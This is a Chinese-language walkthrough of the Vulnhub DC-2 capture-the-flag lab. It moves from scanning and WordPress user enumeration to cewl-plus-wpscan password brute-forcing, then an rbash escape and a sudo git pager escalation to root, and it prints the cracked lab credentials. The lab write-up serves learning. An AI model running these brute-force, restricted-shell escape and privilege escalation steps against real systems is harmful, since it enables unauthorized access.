【渗透测试】Vulnhub DC-2

一.渗透环境环境准备

Vulnhub靶机下载:

官网地址下载:DC: 2 ~ VulnHub

1
2
攻击机:192.168.207.130 本机
靶机:192.168.207.131

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:获取目标靶机root目录下的flag

开始渗透

二.信息收集

1.主机扫描

1
arp-scan -l

8dcdb6b42180f16c.png

2.端口扫描

1
nmap -sS -sV -sC -p- 192.168.207.132 -oN nmap_full_scan

b46504ad70c2bbce.png

开放了,7744和80端口。

3.访问web网站

33342b15e8ab1117.png

出问题所以我们得去更改dns设置

在kali中

先去kali访问对应目录

1
cd etc/hosts

320395905a5e8b53.png

然后去加上ip

使用命令

1
vim etc/hosts

打开

并添加好

b50850f69b1fbb17.png

添加先点击 ‘i’ 进行编辑

然后输入 192.168.207.132 dc-2

输入 ’shift+;‘快捷键 输入wq 保存

在windows中

去到目录**C:\Windows\System32\drivers\etc**

找到hosts 文件夹

添加

1
2
3
4
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
192.168.207.132 dc-2

添加好结果后 保存退出

在命令行中使用

1
ipconfig /flushdns   (来刷新dns)

81c2392e1ed9d2d2.png

这样配置就完成了。

之后重新访问192.168.207.132网站,成功打开

94db521980c43fe0.png

第一个flag

点击右下角flag 这就是第一个flag(本靶机有好几个flag)

153426f9c18889fd.png

翻译

1
2
3
4
你通常的词汇表可能不会起作用,所以,也许你只需要保持冷静(cewl)。
密码越多越好,但有时候你就是赢不了所有密码。
以一个登录查看下一个标志。
如果找不到,请以另一个身份登录。

4.目录查找

1
dirsearch -u 192.168.207.132

7157db4090202ebf.png

5.登录网站查找漏洞

找到登录界面

2bf41ec44a817f94.png

之后我们使用命令扫描wordpress界面

1
wpscan --url http://dc-2/ -e u

ad04fd715ae51a2b.png

得到三个登录用户,将其保存到记事本当中,跟前前面的flag提示,使用cewl命令针对网站来生成密码,并保存到记事本当中,后面进行爆破

创建一个user.txt 把三个名字放入

c4df7d674c193353.png

1
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

使用cewl命令行工具,对网站进行生成字典,保存到passwd.txt当中(使用命令会自动生成passwd.txt 文件)

1
cewl http://dc-2/ -w passwd.txt

b5483da9fe80687d.png

使用成功并生成文件在目录之下

登录密码爆破

使用wpscan工具进行爆破

1
wpscan --url http://dc-2/ -U user.txt -P passwd.txt 

a676fc367293d54a.png

爆破成功得到账号密码

1
2
jerry  adipiscing
tom parturient

登录上jerry账号中 “pages”下的

第二个flag

flag2

ca02314cf15b7217.png

翻译

1
2
3
如果您无法利用 WordPress 并走捷径,还有另一种方法。

希望你找到了另一个切入点。

三.漏洞探测加提权

ssh连接

命令:要使用端口 因为前面有扫描到ssh在7744端口

1
2
ssh tom@192.168.207.132 -p 7744
ssh jerry@192.168.207.132 -p 7744

试了之后只有 tom账号可以连接成功

662ed4180139044d.png

连接成功

使用命令

第三个flag
1
2
ls   查看文件
less flag3.txt

39e69f1e8b82b0a8.png

翻译

1
可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力承担责任。(su命令提示)

893af41bc9c65de0.png

rbash

可看到出现su命令提示,我们尝试切换到Jerry用户,发现没有su ,我们需要rbash逃逸

1
2
3
4
5
6
7
8
9
10
BASH_CMDS[su]=/bin/sh

su

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

su jerry
输入jerry的密码,前面收集爆破到的密码

c1f9c467220139f1.png

接下来看看

第四个flag

在jerry目录下发现

1
2
3
cd ..
cd jerry
cat flag4.txt

47741e0e4b41cdb9.png

翻译:

1
2
很高兴看到你已经走了这么远-但你还没回家。你仍然需要得到最后的旗帜(唯一真正重要的旗帜!!!)这里没有提示-你现在是在你自己。:-)
走吧-离开这里!!!!(git)

提权

使用git权限即可

命令查找看看有哪些可用

1
find / -perm -u=s -type f 2>/dev/null

e4d9c9134e75d911.png

发现可以使用sudo 命令

我们试试

1
sudo -l

c91b6fe3ea823282.png

git提权可发现

1
2
3
4
5
(我们需要将shell的窗口变窄,使得回显信息不能一页显示)
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

57f9ed58c4d8ba23.png

提权成功并找到flag

最后一个flag

4248681595105612.png

结束。

知识包含

git提权,rbash逃逸,扫描wordpress,Cewl工具的使用。